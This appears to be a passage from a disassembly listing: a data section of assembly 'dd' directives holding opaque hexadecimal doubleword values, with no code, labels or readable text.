		dd 0A832D589h, 60541E5Bh, 2DAB6C6Dh, 0CA00581Ch, 0CF9D1375h
		dd 101345Eh, 0BF63F9F4h, 0C09095F3h, 2E17AF69h,	1400DBB5h
		dd 398DA1A6h, 0FE6C0F80h, 0FF40407Bh, 0F49A6732h, 6808BC59h
		dd 745504E8h, 98007B98h, 93D35071h, 0D1890Bh, 1BFE77A5h
		dd 10CADEC3h, 5BFA5A07h, 548398BDh, 0A0DCC312h,	3E71AF15h
		dd 7F3DAA65h, 7393E603h, 4C90D757h, 0FB0FD64Eh,	9DB95574h
		dd 0B7D06103h, 0A5ADF0E7h, 0F5D31FFDh, 6500098h, 0A459E295h
		dd 0C000F9F0h, 73DEF3D4h, 1AB04F0h, 0DCC22362h,	0BF69E0D8h
		dd 0A49B1FB8h, 332F38C0h, 5BA0C57h, 0C7ECFA74h,	92C5C1A9h
		dd 0BC288845h, 9FA790A5h, 3F21EF51h, 90AFB108h,	90E2C8ABh
		dd 0A062840Bh, 0A942FF48h, 212724E5h, 6312052Bh, 40FAC110h
		dd 228473C8h, 174237BBh, 21FDD911h, 901084Fh, 0C88E1B90h
		dd 89B79D9h, 0C5314525h, 1E14118Ah, 84B72990h, 0D3483084h
		dd 2413F242h, 9A8F2183h, 0A080D817h, 695A17EDh,	0F1991F10h
		dd 4FDF0018h, 0F2CE2AA1h, 0B31A1500h, 0DBAAF0F3h, 900D006Ch
		dd 555C8A4Ah, 0E800A79Ah, 34C3A991h, 0E6BE592Dh, 233C006Ah
		dd 0A601B817h, 0E003961h, 0CEACCB91h, 36276Ch, 2420DEB3h
		dd 0BC29D65Ah, 30E47707h, 6DE0E5C8h, 1F094AA2h,	0DF19FC4Dh
		dd 97584075h, 87EF72EDh, 5B513600h, 0C1F082B6h,	0E3E40070h
		dd 13DF09A6h, 15020361h, 0C9BEED29h, 0E08848EAh, 0D99C00D3h
		dd 6F17C1E3h, 6500E84Ch, 52718AE5h, 701DA1D2h, 0CFFF00D5h
		dd 330728F6h, 0AB1C9654h, 66808135h, 4985977Fh,	0E822CCCh
		dd 25180066h, 2C301D92h, 0E74AC700h, 56CCBF81h,	87C9006Eh
		dd 0AD2D1A1h, 0AD2C3F53h, 0DF01B076h, 0E86715B4h, 16E143F0h
		dd 10662BFh, 0C47685E9h, 8DD2D898h, 0A011661Dh,	0DA64DE00h
		dd 573A36h, 0B40F43E0h,	0E1D560E4h, 136894A0h, 0B7006CF2h
		dd 81DDDEA8h
		dd 11CEBFCh, 0D784D154h, 0CCB5D2DAh, 0A0A10356h, 0F7B0C143h
		dd 25B12EC0h, 0FCA0CF1Fh, 308BAE40h, 0F0CD0DFDh, 4A140024h
		dd 72E04690h, 50FC36C1h, 5C4B3Bh, 0ECFD5FEh, 4C81D9h, 9B910958h
		dd 0C4AD89D8h, 48AF853Ah, 1786032Bh, 88EADC51h,	0E6D78367h
		dd 372B1CE5h, 5C57C013h, 9E4A2FBAh, 4E10C900h, 1955CCB2h
		dd 949F508Ch, 0D3770174h, 0E2F9454Dh, 0CE1E783h, 5888E4A5h
		dd 0FF866112h, 54003C16h, 4E0E376Fh, 0FE6407D4h, 908DC5E2h
		dd 5B45317Ah, 0BCD14B00h, 74567871h, 0EE51005Dh, 7029203Ch
		dd 6A000A97h, 2469350Dh, 74528E1h, 20F7EC07h, 4B490015h
		dd 6122670h, 5C0E588Bh,	748404Eh, 71FFF895h, 0D8B70913h
		dd 200E0D43h, 497CC860h, 0BC0EA13Bh, 0C0CCC045h, 0B8961E5h
		dd 0F3F00C9h, 0D9A45FB1h, 130ECE9Ch, 0C04CB2D7h, 0FD551198h
		dd 875D0956h, 74C9219Bh, 0B3A0246Dh, 0A6D28802h, 4867E7EBh
		dd 36A3500h, 5F2F599Ch,	43C822CFh, 2D05F55Eh, 9057EF94h
		dd 7299FC40h, 1CA4EAC2h, 61D0E10h, 0A01E7FB2h, 0F1D5C109h
		dd 50700072h, 64831h, 0EFD67C7Eh, 4598DA4Ch, 111DCD00h
		dd 0A8608371h, 5573003Eh, 0AE6512D0h, 22010E47h, 84B227E2h
		dd 1AF4318Fh, 6570092h,	60F039E7h, 5200FAEAh, 2318D4D9h
		dd 144B3Ah, 0A9F26B29h,	0B24DFDCAh, 74C48F04h, 8FC28Ch
		dd 0B03B51A2h, 0F4DC7C65h, 765000B1h, 5CCD1936h, 9B009F05h
		dd 0D6EA4AF1h, 0E9D902Dh, 816D3374h, 5188EB40h,	0A700A84Dh
		dd 0F4ACDE2Bh, 956979h,	0C6E111D2h, 13FC4AFBh, 15C2DC0Eh
		dd 0A233C040h, 0C227Ch,	3DAEB742h, 928FDF21h, 0F51FA600h
		dd 6A1461A4h, 7DCCEDCAh, 0B72A3E35h, 551C7180h,	3041BAB6h
		dd 0A07B2100h, 474CEE3Eh, 0DFD70EBCh, 2900DA82h, 1D40BEC5h
		dd 7E679A00h, 127672A3h, 152B3D1Fh, 0A23E470Eh,	3C00F854h
		dd 7904DA59h, 1217A424h, 1C46B290h, 988EE931h, 2F0A01CAh
		dd 0CE231620h, 3C09D091h, 9EC1AE00h, 0AA8535E6h, 3EB70017h
		dd 0AFB47563h, 97002283h, 249C0F20h, 0ADB0F6h, 2D73054Dh
		dd 821291F7h, 0A76DFF13h, 5A96DB00h, 745EE11Fh,	0CE57006Bh
		dd 0DE604265h, 0D40ECBD6h, 6C2B2F09h, 3F3CF29Eh, 8C8711D8h
		dd 302582E9h, 0F6A323CDh, 43679200h, 0AD361044h, 98FD0CF4h
		dd 11D0B9ACh, 0FF17B100h, 3D7196A9h, 204400CFh,	84BE1437h
		dd 0E600D8F0h, 0BCDF0363h, 0DA98DDh, 0FEF70E97h, 54350B47h
		dd 3430C3Dh, 421BEF4Dh,	9D29A06Fh, 4CF57E90h, 0B680E402h
		dd 64D1E6D3h, 88ECEB28h, 0D8F11713h, 0FFB00803h, 2DC0D4FDh
		dd 0A0783C79h, 0C0294080h, 0AEEF928h, 6D00D674h, 32364FEh
		dd 972897Ah, 860B6AFCh,	0A4194E80h, 0B100C2F8h,	0F618BAEDh
		dd 30244812h, 0A2D8A155h, 0FD008742h, 34587C6Dh, 0F2E6F72h
		dd 6122F403h, 5381FE9Dh, 35A8195Dh, 0CBCFC8Fh, 368ED001h
		dd 0A2B98517h, 99E2DCh,	0D1B39081h, 0E57A088Bh,	0D33F416h
		dd 1ECA000h, 0FF3BC61h,	15ED4779h, 0C0434947h, 0DEA68A08h
		dd 0E800D5F8h, 5FB30BF1h, 364E490h, 0D4F4750Fh,	55D8D24Eh
		dd 0CF00A7B8h, 885A45Dh, 123428CDh, 0BC1981h, 0BED97FA8h
		dd 2B02F412h, 0C643ECD7h, 1F4C4004h, 787001Eh, 21C9C01Ah
		dd 0CF000877h, 0BE2712BFh, 28A05FEh, 998F23A3h,	4CE8882Bh
		dd 7001EC3Ah, 41B857AAh, 8E3073F9h, 7EAE0B89h, 50801927h
		dd 607AF1A8h, 0B3D53900h, 5DB91434h, 22710062h,	0C449976Ah
		dd 410070B5h, 6EDDF0CCh, 0E61182h, 8F65EAB7h, 8913D618h
		dd 80751C03h, 90610770h, 35AF930h, 0DC3B48D7h, 0FCE8F5E3h
		dd 0D800EE92h, 0DF7EEF6Ch, 2D9A56Fh, 6018CFCDh,	5E407A90h
		dd 0D032F39h, 56F73E99h, 3F8AC058h, 26100ECh, 204390AFh
		dd 47000C79h, 95C32DAAh, 36619ABh, 1C9CCF0Ah, 0C2C0F6DBh
		dd 14286436h, 0BE1EFC0Ch, 3FC74D4Fh, 2300DBB1h,	7CF44AF8h
		dd 9D500006h, 790CE6FDh, 0CC3FC502h, 0A4358073h, 26ECD032h
		dd 0F400910Ah, 9F610DE7h, 770C70h, 479330D6h, 0D8C6B7F4h
		dd 0BB8E8F07h, 3350FE25h, 1F7FB84Ah, 81F7CDAAh,	0FDDE52DDh
		dd 9709F45Fh, 0E4B1BE60h, 3933979h, 46FFF1CBh, 0C10003EEh
		dd 169E4290h, 0E40ADA1h, 88CEE3EAh, 0E63CAC20h,	56E4BC58h
		dd 901BAB00h, 0E5F7600Fh, 0A08D18EDh, 149B0B7h,	354F451Ch
		dd 0A17C7B3Fh, 0CC1C223Ch, 0A4202CC8h, 0A158A7h, 0D68487C7h
		dd 5BD9F4B4h, 789C4A00h, 0A1C224CBh, 0A9E02892h, 0DFCD18EAh
		dd 0F5C8B837h, 85F0FD3Eh, 0E10A632Dh, 0E0189BC3h, 30CB9AC4h
		dd 15C805F7h, 0E338D74Fh, 53B41654h, 177EC00h, 0F839AF88h
		dd 990B065Bh, 0B9CCC2C9h, 0E9F5B512h, 89C5B40Fh, 89B440D6h
		dd 0AAE6005Fh, 0D3668AFCh, 4900A025h, 1274CA38h, 1D91D635h
		dd 82E9F76Bh, 0CE5B9DFAh, 2026450h, 0C6B356B4h,	999AC39Bh
		dd 0DC40A052h, 0BFE0EDh, 2DC4FE57h, 0FA8A6670h,	4ED758h
		dd 0DC9D61ABh, 260E1679h, 1416C59h, 386657CDh, 8EDC30BDh
		dd 701D9C19h, 12C0D931h, 6020004Dh, 461EF97Fh, 4E0FFA4Ah
		dd 0A02AAF97h, 6A3B84DEh, 0ECC33019h, 454E76D9h, 0EA4B6813h
		dd 0A035C40Eh, 0A6E796FAh, 0A6F0009h, 4C4182FEh, 7C00FC14h
		dd 14E6CFBh, 0AC0B3Bh, 7750123Ah, 6E83C24Dh, 0A26A1A24h
		dd 4E38EF00h, 0E48FCF8Dh, 760D397Bh, 51F811E0h,	0F00033AEh
		dd 3EBE2BF9h, 55661Eh, 0F3701F93h, 0B78F9BEEh, 51D3900h
		dd 20BED147h, 0B1100068h, 77AE8614h, 1100C7E6h,	0F28F50B4h
		dd 0FDDA7CFh, 0F371DA81h, 0E29F7080h, 0F000102Bh, 992C3D26h
		dd 0A0A4410Dh, 1AA94C8h, 0A93A5950h, 41D2C6B6h,	4018EEB5h
		dd 5EE05480h, 3D470B01h, 33FA6ADEh, 4697064h, 0CAB38E38h
		dd 0B9508012h, 0A27C1C5Ah, 0C44DD81Ch, 0B62AC240h, 3B71D6Ah
		dd 6F62E43Bh, 0E79888E1h, 4F13E542h, 74005E0Ah,	8DCB94A0h
		dd 6C761Bh, 856B1C5Dh, 0E72C8767h, 9DC0BE12h, 5846E0C0h
		dd 8177B1h, 0C54C3DABh,	571B9853h, 0C3FA6903h, 0A248E4B5h
		dd 1EACE0F4h, 0D77900A3h, 0F7B68FC0h, 0CF6B2E8h, 607F9033h
		dd 0CEF0C86Ch, 0A17D0089h, 9EDCE33Bh, 440134D8h, 0B8EFC829h
		dd 0FFE0338Eh, 75561868h, 450F387Eh, 646AC600h,	4EF6E641h
		dd 3F9D007Ch, 0ABA8D066h, 0A50017FCh, 3A295AFBh, 27C935DBh
		dd 0B480FA75h, 0F3E61B9h, 0C589C200h, 0A0CEEA7h, 46A40258h
		dd 0AF854CA6h, 0FFE48840h, 6D9C8707h, 0F74082CDh, 988ACF8h
		dd 0F6A40221h, 862B7CA1h, 60542839h, 12135139h,	3C720FDDh
		dd 204C6CFh, 0C868E035h, 42D8F984h, 0D5450392h,	223C2FB7h
		dd 3073EFD1h, 67007A44h, 0F25CD250h, 0A2D836h, 1842E834h
		dd 0B896BD61h, 2A1E53ECh, 7100196Ch, 0D4269548h, 34F01C5Eh
		dd 0C0BB8175h, 24AAE23Fh, 8B5031FCh, 889673C9h,	0E049C60Eh
		dd 961D91D0h, 192A60FFh, 44F926E8h, 8E1A2B0Fh, 7972A290h
		dd 0EB346069h, 23B7035Dh, 0D428B07h, 9034A0BFh,	0C8F63626h
		dd 0E34E2E0Ch, 0B6105Ch, 48134194h, 81BCAE55h, 80678A3Bh
		dd 89EF44F6h, 3A75B4h, 0AA79D5FBh, 6B2A3BD9h, 55E76800h
		dd 0BB4EB9B5h, 78F96F52h, 0DB2EFEA0h, 27E4C88Ch, 0EBF7CE13h
		dd 4F7F1800h, 0A8F03848h, 547EB1B0h, 18C6F4F6h,	0D9880525h
		dd 490F2401h, 0C95645CFh, 0A038A02Fh, 0EB5B8Ch,	6C39E3A5h
		dd 0B4F3B833h, 0ECB9CB00h, 0E4A6F04h, 7816F6FFh, 2AE90E9Bh
		dd 550038D7h
		dd 6ED4571Ch, 8E854700h, 4376DEBAh, 23A024B3h, 66A51C5Dh
		dd 79F081D0h, 2472248Fh, 4E20EC08h, 4522003Fh, 0BB599607h
		dd 1807EA91h, 0FB41320Dh, 0AE82E290h, 5225001Ch, 30FEA1A8h
		dd 0E400C7D3h, 3CC1F1B9h, 0D7B760h, 0ED508D22h,	0CE4B94A9h
		dd 4F006EE6h, 0BB5F319Ah, 0B75E17h, 497DCC2Ch, 16054433h
		dd 0E8595A60h, 836061h,	9B7540FFh, 0F28D9258h, 4B1E2700h
		dd 9663BCEDh, 0D27A18D7h, 0E7FF6016h, 0B61F3F09h, 0BE0F0079h
		dd 9D5A9A6h, 0C7494420h, 1DFEEC80h, 9B00665Ah, 1630973Ah
		dd 77A83DCh, 0BCF7A55Fh, 8A8CD3ACh, 40320BF0h, 2B62EF00h
		dd 740D772Fh, 1F7183Dh,	2A6DD0FFh, 0FEE3B400h, 68DDABBCh
		dd 47550073h, 16347A4Dh, 3FF69B19h, 65D92303h, 0B976747Fh
		dd 41900B2Dh, 0A8F6C31Bh, 0BDD18864h, 3ACA61Ah,	5DD84910h
		dd 0D0009FF9h, 0ED6E9913h, 986AF7h, 3557C5AAh, 74037AF2h
		dd 1285F800h, 272A55C6h, 402009Dh, 7A175ECAh, 530720C5h
		dd 0C981A126h, 0B7FAB530h, 91690035h, 0C2E0E529h, 0A300F811h
		dd 7613BBAFh, 175F2EF6h, 192A886h, 89092AB9h, 9121DC90h
		dd 9B461C00h, 0AE731836h, 9FFADCh, 51064467h, 0D0119D63h
		dd 4B70CC00h, 365CEB73h, 27CA24B1h, 797E0053h, 95932C12h
		dd 9EB4E000h, 300ABB6Dh, 90EC033Bh, 3D1D7F96h, 2BDFDCC8h
		dd 7E8DF500h, 0CF5D7AAFh, 90C87046h, 0A5D1004Ah, 8758E2D9h
		dd 5F3BBE6Fh, 19780716h, 2DE0E53Bh, 703EA1Eh, 57361252h
		dd 260830B9h, 6400A435h, 8455AD96h, 6319D46h, 716E0AA8h
		dd 0CE05A0A5h, 63EEAE72h, 5625FD00h, 0DEE2DAh, 4EB0D8C9h
		dd 6CF4CFA0h, 7C57C80Eh, 569BC064h, 3335C0h, 3AC76748h
		dd 0FF6FBFA5h, 0C246DC00h, 2C22393Dh, 0B21B0075h, 0F96763A7h
		dd 0D004C055h, 967D4FD9h, 59E64480h, 0AD292354h, 0DB309h
		dd 0BB51A970h, 0CC825CC5h, 40F1E812h, 67C04F0Ch, 0B35045BCh
		dd 18074781h, 0DB0289A2h, 1D4480EFh, 0BF14F7h, 388EDD63h
		dd 3DB77D0Ah, 36A3E809h, 0FA000A6h, 0AB6AEDh, 52477992h
		dd 0F93FAF99h, 505B5733h, 88B5A078h, 6FC612EEh,	0AE5440D4h
		dd 0BEC898D3h, 97B8D201h, 6392D0CAh, 92486760h,	778700C4h
		dd 3E9BBC4Bh, 0C400166Dh, 0B8F4D746h, 6098B696h, 4036045h
		dd 0FA0934CEh, 835BB7E3h, 0B3FF691Dh, 3BA009A7h, 0B4203635h
		dd 0A88CE657h, 532ECD00h, 2D5A8A7Bh, 6FE00B4h, 9CE15B31h
		dd 96000D81h, 0CC27AAA2h, 0B2282FDh, 45E77252h,	0FF6E1100h
		dd 0B400EBBBh, 89626777h, 2ED60F43h, 49EE5Bh, 7F97FD3h
		dd 0A006CF0h, 707EDBA4h, 0D51459h, 896E96BEh, 3D803523h
		dd 0E7A21900h, 6B7DF41Dh, 4E4C049Bh, 0C08AFD78h, 94DEEDCEh
		dd 13B42549h, 0EB03B2F3h, 0AFF255D5h, 2FFA26A0h, 3CDA00AFh
		dd 650BB4EEh, 0CAFA96BBh, 67875B00h, 0F8B34D10h, 0D5E6018Ah
		dd 0A1911353h, 0AA57C001h, 0A2666B01h, 96127C8Eh, 26D08520h
		dd 34E049h, 0DEA83DA7h,	24003C45h, 5BE2C844h, 793226h
		dd 0F974B76h, 0C6AAE7FEh, 0CAD83B54h, 0A0FAA416h, 9AF82801h
		dd 6471EC64h, 76AA6F8h,	4047B2B0h, 4B9EA005h, 0E4E4CA10h
		dd 5962B707h, 52B327A4h, 0DD348030h, 24F100CFh,	0D226403Ah
		dd 38000560h, 4BC3F80Fh, 28E54D18h, 0F0B765h, 6A5C19FDh
		dd 9F8DD8ACh, 0E3FE5600h, 55BAE441h, 0DEAF007Dh, 6F22D07h
		dd 87004660h, 97B57BADh, 3298A9Ah, 619E165Eh, 6DB1AA32h
		dd 0E0792098h, 1F0A409h, 70B420F8h, 7C6221F3h, 36C100B9h
		dd 425EBCE0h, 350E9C64h, 0E002EC22h, 61B1DA04h,	6AEF003Fh
		dd 0F36CE31Dh, 1F00ACC9h, 121FAEAh, 67BB4Ch, 0F8F435CAh
		dd 5328C5A9h, 1223D100h, 0E50E913Fh, 57E6024Eh,	0CC069868h
		dd 0C0DCC884h, 0ECD30718h, 36555D00h, 0DBF01CD6h, 8CCD0045h
		dd 5B5804DEh, 0E032ECAh, 0CB618815h, 0FBD1D0A4h, 0FE9C00CDh
		dd 0BA8F0473h, 65011EE0h, 0A017AF2Dh, 0BDE0BCD4h, 0E36E00B4h
		dd 48AE0F98h, 6609598Dh, 8AB381h, 85267B80h, 0E42112F7h
		dd 455C0074h, 759106D6h, 0B29BB00Eh, 0FD098056h, 0AE7DBCh
		dd 0CE70C6F0h, 4CF8409Fh, 0C700C4ECh, 130B1EF9h, 745B81Ah
		dd 0E1086C47h, 24443091h, 0C10023A7h, 34313C35h, 13D5584Dh
		dd 0D22FD9h, 0D0EBB58Eh, 3E00AFFFh, 9572FBE5h, 381BF6F7h
		dd 2873177h, 80BB5EBEh,	85B4A7AAh, 92481100h, 0E5CB9B5Fh
		dd 3D89876h, 0C16A8765h, 0D3A0D115h, 0BEECB99Ah, 8D9EF800h
		dd 562F11FDh, 5BDA0065h, 1436B0E6h, 2A003161h, 421E720Ch
		dd 0FEBEA022h, 0D79059h, 2CF47603h, 0B00F5452h,	284DD40Fh
		dd 8A5564DDh, 0C6AD5080h, 1D52908Bh, 0C04FFDC8h, 0D4725411h
		dd 180006D7h, 4C77CE9Fh, 497FB602h, 30004C83h, 599B3127h
		dd 561F49EEh, 8D134292h, 0BC12E01Dh, 7A605002h,	0B22E1657h
		dd 2B001099h, 0A044E1C4h, 25C30022h, 742DB31Ch,	9A000BEEh
		dd 0D986BA62h, 101731h,	6F99B955h, 73E6C3C5h, 0E07748h
		dd 581FF0CFh, 3C69F1C9h, 1C007926h, 0E0CBA86h, 0DB383EE0h
		dd 892CF0AFh, 3D800873h, 114A5E04h, 0F2C47CDCh,	1EDD0377h
		dd 0EB08E114h, 32880D4h, 1000A98Eh, 94560106h, 0FE476A88h
		dd 0D221C348h, 8A0007C7h, 0D3D097BBh, 6F47DF6h,	1F5A4F2Ah
		dd 0C300A076h, 88FCC792h, 770CBADh, 0F37B1ED2h,	0CC0530BAh
		dd 0F60150E2h, 0EF15D148h, 4361F063h, 0DC04A841h, 1F64A024h
		dd 4FDD8DC2h, 809D5747h, 4CE6E575h, 7100B3C0h, 0A5CD5686h
		dd 261D06C9h, 0C2B980h,	0CBF8A663h, 0BB04C2A8h,	0AE455DE5h
		dd 0D71CA881h, 6C60BDF9h, 71E003E3h, 54FF659Dh,	742A9A81h
		dd 0DA7D78E4h, 0EC77E600h, 9E513A7Eh, 0DBFD0E0Ch, 38809397h
		dd 0B972C05Eh, 0E835A200h, 1D92033Ch, 0C3480088h, 9B332026h
		dd 460CDE16h, 585A0842h, 0EBA3F30h, 7076BCh, 46D64740h
		dd 57C33D9Eh, 744AC100h, 0F5EF45EAh, 0D3270142h, 83AD53DCh
		dd 0C865208Ch, 1270DE00h, 314179ACh, 36F50172h,	18442813h
		dd 7782830h, 89056A2h, 24946030h, 7D7C2C0Bh, 0DFAE00B0h
		dd 0A83685D5h, 34FB082Eh, 3FACC081h, 16809B41h,	0EEB6CE4Fh
		dd 4AF81F40h, 2D02C500h, 0A166D620h, 0FD670047h, 0F9244F55h
		dd 7A007C72h, 0BC11D444h, 3ABACF6h, 53D3DC97h, 0E087236Bh
		dd 61B9783Ah, 55D280A0h, 4F8D5600h, 8809E3B4h, 149060h
		dd 25CBF42Eh, 15BBCC07h, 0A7720400h, 850253E4h,	0C12B0048h
		dd 8A1119EAh, 577DAE66h, 0CF37E700h, 0A994225h,	7DBD00CEh
		dd 78241967h, 0F2741AC6h, 0D9EEE100h, 3B5CC91Bh, 75F9004Eh
		dd 95E7032h, 6000A544h,	0DBC70BBDh, 0C191C9h, 0AD3F6F8Ch
		dd 582AF28h, 0CCD839h, 519D2D06h, 5B7EEAh, 4A9979F5h, 0F3D92569h
		dd 16030290h, 0A5AADEF6h, 0ECE80059h, 0E1DA02DDh, 7700F40Fh
		dd 0F2FAB134h, 0BD2E9h,	0CE01E725h, 4EB9E469h, 8D0027F2h
		dd 0A896E13Fh, 3CCC75EFh, 30809C5Ah, 9E2534B6h,	0F4A135BAh
		dd 5F0CF848h, 8CF5B300h, 99FC1586h, 0E1B80055h,	645D3012h
		dd 1C00B6F1h, 46E6A195h, 37BF875h, 0AE43CA70h, 33A01159h
		dd 0B100BAAFh, 8BF64D68h, 0E376F23h, 59919738h,	8962658Fh
		dd 84C0CE78h, 6A00A78Bh, 0FD880532h, 4CD84E0Bh,	151EFC61h
		dd 0AD404065h, 0D5277D5Ah, 0E368B50Ch, 9851DCE9h, 3F943B5Ah
		dd 839F30B9h, 2F9FD7Ah,	2226BEE0h, 9880641Dh, 82AA75A4h
		dd 0BCE71901h
		dd 0C209ABDCh, 0B33AD0FFh, 0E91E00B9h, 0B19C2EB6h, 5F000736h
		dd 8F25A795h, 0BACA5790h, 28190128h, 6629AC7Eh,	709850FFh
		dd 0B312E984h, 0A087B8B0h, 14C66CD0h, 0D77B07C9h, 0DF5699C1h
		dd 6AAB22C0h, 0EF137F49h, 68608DBDh, 995303h, 0A4AA5264h
		dd 483CAF6Eh, 0BA43F500h, 0E81C6BE6h, 6F1D02CCh, 7484DD75h
		dd 615B99C0h, 33BC6A50h, 5DE2D000h, 9DE7882Eh, 352B00DEh
		dd 6A216669h, 901FEA1h,	5BB2D22Ch, 7F601F9Bh, 9A2400EFh
		dd 0E7272938h, 0CB303978h, 7C531814h, 45DCEDE0h, 36CDFDB8h
		dd 0A100782Ch, 0C1215182h, 0ED3C4AF8h, 6620AE0h, 0F089B4C9h
		dd 0E3C00F9h, 3F80C09Bh, 0DE801507h, 181736FDh,	0C4A0A50Bh
		dd 200B62Fh, 139C92FBh,	614314h, 9D8836C3h, 396BD230h
		dd 0BA7A71E0h, 280712FEh, 0B5F5D884h, 0B6206089h, 7A86045Ch
		dd 0A026A3C4h, 63008B40h, 120E54A2h, 907B559Dh,	0F99FA90h
		dd 0C458535Eh, 6DED88C3h, 0E685FAB0h, 0E2597A00h, 69D598A1h
		dd 609D5C8Bh, 0A995380Fh, 0D1F31AE0h, 0A1F22673h, 6C96C900h
		dd 300FFF4Bh, 8307071Ch, 70B8AF59h, 0AA3C103Dh,	61601E60h
		dd 71BDB33h, 352C6381h,	0C4B8F0BDh, 3C07BFF7h, 0A4CCF85Fh
		dd 0A8E3805Bh, 4A92AD14h, 38BC00F1h, 67964CD9h,	74879D0Bh
		dd 0DD18A048h, 3821418h, 0F769039Ch, 0D4E8C472h, 0E80F190Fh
		dd 0C0A24B77h, 1A3B4A9Fh, 582A004Dh, 5B248A05h,	7312E0D5h
		dd 5000C02Bh, 0B339C9DEh, 7FCF00AEh, 0D2CEF758h, 0F30040E0h
		dd 68BEF022h, 48879705h, 8200A702h, 370A9D85h, 0EE033C4Dh
		dd 0E2117035h, 92DE2658h, 913FCh, 0E7E9DCEFh, 0DD0050B1h
		dd 0DFD10F28h, 7D5F7C1h, 143CF8C3h, 0C25C00CAh,	39038588h
		dd 0BEFE40C8h, 6727A807h, 7D0C0929h, 6080C665h,	0F406E12h
		dd 82C5Ch, 977D7B4h, 35E2F9Bh, 0A296EC87h, 8000B8E5h, 0C869E27Ch
		dd 9F7E8Bh, 88A8F7F8h, 1E81766Eh, 0D3A97001h, 2418EE1h
		dd 85CC60h, 2C9BF311h, 0F8EC37FFh, 8C594E0Fh, 0B4CFC57Ch
		dd 2540941Ch, 33AF680Eh, 0DF0F028Dh, 549E55FCh,	806E6541h
		dd 8B6B9A78h, 3507B1h, 72265BC9h, 797CD377h, 0CDAA7000h
		dd 9F2C8A1Eh, 0E5360069h, 50667EE1h, 0EF00E023h, 2025D592h
		dd 9C433Ah, 5D84F9B4h, 79F42C01h, 3617180Eh, 2DAE4095h
		dd 0A14686h, 9A49E5F5h,	0C691812Ch, 0C0DF3F00h,	4089BBF7h
		dd 9FEE01F8h, 0FDA86495h, 8945050h, 0F5013D43h,	0BC789C55h
		dd 20307B17h, 5E320092h, 0B5A8E5CEh, 0DA1D8045h, 0A440010Ch
		dd 9735C139h, 0AB1F1F6Bh, 0CFDB8073h, 0E5654122h, 0D567E00h
		dd 231CC3BFh, 5078603Bh, 87B3F96Eh, 0B2D75203h,	0A8321566h
		dd 3017C1BFh, 4FA0091Bh, 0CA00107Fh, 5F132E0Fh,	0C9A2EEh
		dd 4A74A8EBh, 79667181h, 0FEF95601h, 9F8E292Fh,	9C28D0DDh
		dd 7151BA04h, 1054A2DEh, 431C1FDFh, 7280BC44h, 4D824B25h
		dd 27135458h, 18406CB4h, 0C9B36B50h, 0E6D00522h, 0B0ECCEA2h
		dd 8401FC30h, 0DAB1439Eh, 0ACF0AAE5h, 0E880B25Eh, 401D607Ah
		dd 34DE04CBh, 84504Ch, 4A204E32h, 7126E43Ch, 0C5E7959h
		dd 0B9BC5D55h, 5609759h, 4818C186h, 0FC09ECDh, 61C00B9Fh
		dd 0A2453F60h, 91CBEB17h, 53BF9403h, 181FC022h,	13303001h
		dd 6A996E49h, 674ED006h, 0ED1280Ch, 3FECA7B2h, 148224E1h
		dd 0E0972127h, 6405FA92h, 9E1A277h, 0A52AE480h,	718F760Ch
		dd 13CA7F8Ah, 4A777Eh, 9E5408D8h, 8CB0E2DAh, 9B394518h
		dd 0E04C61h, 6F425A49h,	0B53F8FABh, 0CB1E7009h,	99EC2055h
		dd 0B9E5E179h, 2E803FCCh, 2D6150A9h, 763052F0h,	17BED8B9h
		dd 0BA992C7Ah, 4BEF8090h, 2372F291h, 40CB3072h,	60F00FAAh
		dd 0CC8087DAh, 48E053F9h, 8D012E0Fh, 10F72301h,	22C7E0F8h
		dd 0FBC2E802h, 0D893DEE0h, 0D55A1898h, 33F579D4h, 161B8F02h
		dd 0C07D7AB7h, 19D2326h, 0F8660A85h, 0C22ECD24h, 0D7183060h
		dd 0C7CE2A00h, 575DB93Bh, 78F40FE3h, 5F97FA4Bh,	3EB04088h
		dd 461E8CA3h, 3FDD0309h, 50007724h, 0BA86A735h,	0B2805201h
		dd 42FD1DC0h, 13DB62C0h, 0C0730D3Ch, 0B788C597h, 0BD16C7E2h
		dd 0D08098E9h, 0A8C9A45Bh, 5D803F8h, 0B01D7749h, 0B5CA0B6h
		dd 67329C00h, 708D7E30h, 361B2DCEh, 2C4B2000h, 1100D0ECh
		dd 8F4EB815h, 5D0CEAh, 0E6A804B9h, 91EE31E4h, 94667309h
		dd 0FA9807D2h, 0C52BDCA1h, 75E45060h, 0A31F0128h, 45E16879h
		dd 93892015h, 804D3F3Dh, 1FC636A8h, 242852B7h, 26F80F34h
		dd 6CD560D8h, 0BF077C41h, 431B362h, 2F42DAC0h, 92770B97h
		dd 38010C7h, 0CF1D6958h, 122C3201h, 7BD001A1h, 13F6E340h
		dd 734C00C0h, 0A35A85FCh, 8D0AA776h, 8405E41Ah,	20100F13h
		dd 0ECFC0084h, 0C190E71Bh, 4EC62h, 0FB5A80BAh, 1946CC77h
		dd 76AA7A24h, 3F00382Ah, 0B6322138h, 14115492h,	0BC956391h
		dd 6D4E2700h, 0BFDD682Fh, 32316F61h, 19C4FA59h,	93C7022Bh
		dd 330C7B3Dh, 4BC94448h, 1F39EE1Dh, 0D77080ADh,	6079EF70h
		dd 90A17814h, 0B700A513h, 0C9F84DEDh, 58047Dh, 2B57F4CDh
		dd 97D9D46Ch, 96A35218h, 2441C92Ch, 84F559h, 6945E8D3h
		dd 0F10078C2h, 93716621h, 1C582FCBh, 13A5E9E4h,	0B2B48039h
		dd 0A061135Fh, 0C41A5598h, 260B89D0h, 9780D661h, 6540029h
		dd 24940579h, 0DC810202h, 0EAD61EECh, 5094A0F8h, 4CBC967Ch
		dd 257B7CE1h, 0E884C131h, 0D39B8279h, 4087C840h, 0F8FF78CEh
		dd 1D87561h, 1EF05A83h,	74046589h, 4B09E3C4h, 987B589Dh
		dd 0B870DE58h, 7ED60B91h, 34E02BD9h, 1116BB5Eh,	64D1FC67h
		dd 3078DD20h, 0A41811h,	2E4E9F7Bh, 3603E33h, 9E91E406h
		dd 0EEB0F556h, 3C5C226Dh, 0B16B01C3h, 0DBBFD93Ah, 0EE4037E8h
		dd 0C97B0013h, 99B7F53Fh, 4312E3C2h, 7C00D286h,	91D08A75h
		dd 0FE589D2Bh, 0C22F3C00h, 42BD2737h, 86E800D9h, 184BCF53h
		dd 80093828h, 7E5EE7Ah,	44804CF4h, 0CEB74F7h, 0C871E293h
		dd 0DC0ED618h, 0E5CBD76h, 0F130543h, 67A3D840h,	24F90CC5h
		dd 80EC82ECh, 0DD097807h, 0A17BC89Dh, 19C5CA00h, 31C01E58h
